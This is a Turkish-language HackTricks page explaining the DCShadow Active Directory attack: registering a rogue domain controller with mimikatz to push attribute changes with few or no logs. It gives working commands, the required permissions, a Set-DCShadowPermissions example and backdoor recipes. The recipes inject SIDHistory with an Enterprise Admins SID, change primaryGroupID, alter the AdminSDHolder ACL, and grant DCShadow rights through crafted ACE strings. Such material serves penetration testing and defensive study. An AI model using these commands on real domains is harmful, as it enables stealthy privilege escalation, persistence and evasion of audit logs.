DCShadow

HackTricks'i Destekleyin

DCShadow

AD'de yeni bir Domain Controller kaydeder ve belirtilen nesnelerde değişiklikler ile ilgili herhangi bir log bırakmadan atributları (SIDHistory, SPNs...) itmek için kullanır. DA ayrıcalıklarına sahip olmanız ve root domain içinde olmanız gerekir. Yanlış veri kullanırsanız, oldukça kötü loglar görünecektir.

Saldırıyı gerçekleştirmek için 2 mimikatz örneğine ihtiyacınız var. Bunlardan biri, burada gerçekleştirmek istediğiniz değişiklikleri belirtmeniz gereken SYSTEM ayrıcalıklarıyla RPC sunucularını başlatacak, diğeri ise değerleri itmek için kullanılacaktır:

mimikatz1 (RPC sunucuları)
!+
!processtoken
lsadump::dcshadow /object:username /attribute:Description /value="My new description"
mimikatz2 (push) - DA veya benzeri gerektirir
lsadump::dcshadow /push

elevate::token'ın mimikatz1 oturumunda çalışmayacağını unutmayın, çünkü bu iş parçacığının ayrıcalıklarını yükseltti, ancak işlemin ayrıcalığını yükseltmemiz gerekiyor. Ayrıca bir "LDAP" nesnesi seçebilirsiniz: /object:CN=Administrator,CN=Users,DC=JEFFLAB,DC=local

Değişiklikleri bir DA'dan veya bu minimum izinlere sahip bir kullanıcıdan gönderebilirsiniz:

  • alan nesnesinde:

  • DS-Install-Replica (Alan içinde Replica Ekle/Kaldır)

  • DS-Replication-Manage-Topology (Replikasyon Topolojisini Yönet)

  • DS-Replication-Synchronize (Replikasyon Senkronizasyonu)

  • Yapılandırma konteynerindeki Siteler nesnesi (ve çocukları):

  • CreateChild and DeleteChild

  • DC olarak kaydedilen bilgisayar nesnesi:

  • WriteProperty (Yazma Değil)

  • hedef nesne:

  • WriteProperty (Yazma Değil)

Bu ayrıcalıkları ayrıcalıksız bir kullanıcıya vermek için Set-DCShadowPermissions kullanabilirsiniz (bu bazı günlükler bırakacaktır). Bu, DA ayrıcalıklarına sahip olmaktan çok daha kısıtlayıcıdır. Örneğin: Set-DCShadowPermissions -FakeDC mcorp-student1 SAMAccountName root1user -Username student1 -Verbose Bu, mcorp-student1 makinesinde oturum açtığında student1 kullanıcı adının root1user nesnesi üzerinde DCShadow izinlerine sahip olduğu anlamına gelir.

DCShadow Kullanarak Arka Kapılar Oluşturma

SIDHistory
lsadump::dcshadow /object:student1 /attribute:SIDHistory /value:S-1-521-280534878-1496970234-700767426-519
PrimaryGroupID
lsadump::dcshadow /object:student1 /attribute:primaryGroupID /value:519
AdminSDHolder
#First, get the ACE of an admin already in the Security Descriptor of AdminSDHolder: SY, BA, DA or -519
(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=Admin SDHolder,CN=System,DC=moneycorp,DC=local")).psbase.Objec tSecurity.sddl
#Second, add to the ACE permissions to your user and push it using DCShadow
lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=moneycorp,DC=local /attribute:ntSecurityDescriptor /value:<whole modified ACL>

Shadowception - DCShadow izinlerini DCShadow kullanarak verin (değiştirilmiş izin günlükleri yok)

Aşağıdaki ACE'leri kullanıcının SID'si ile birlikte eklememiz gerekiyor:

  • Alan nesnesinde:

  • (OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)

  • (OA;;CR;9923a32a-3607-11d2-b9be-0000f87a36b2;;UserSID)

  • (OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)

  • Saldırgan bilgisayar nesnesinde: (A;;WP;;;UserSID)

  • Hedef kullanıcı nesnesinde: (A;;WP;;;UserSID)

  • Yapılandırma konteynerindeki Siteler nesnesinde: (A;CI;CCDC;;;UserSID)

Bir nesnenin mevcut ACE'sini almak için: (New-Object System.DirectoryServices.DirectoryEntry("LDAP://DC=moneycorp,DC=local")).psbase.ObjectSecurity.sddl

Bu durumda birden fazla değişiklik yapmanız gerektiğini unutmayın, sadece bir tane değil. Bu nedenle, mimikatz1 oturumu (RPC sunucusu) içinde yapmak istediğiniz her değişiklik için /stack parametresini kullanın. Bu şekilde, tüm sıkışmış değişiklikleri sahte sunucuda gerçekleştirmek için yalnızca bir kez /push yapmanız gerekecek.

DCShadow hakkında daha fazla bilgi için ired.team'i ziyaret edin.

HackTricks'i Destekleyin

Last updated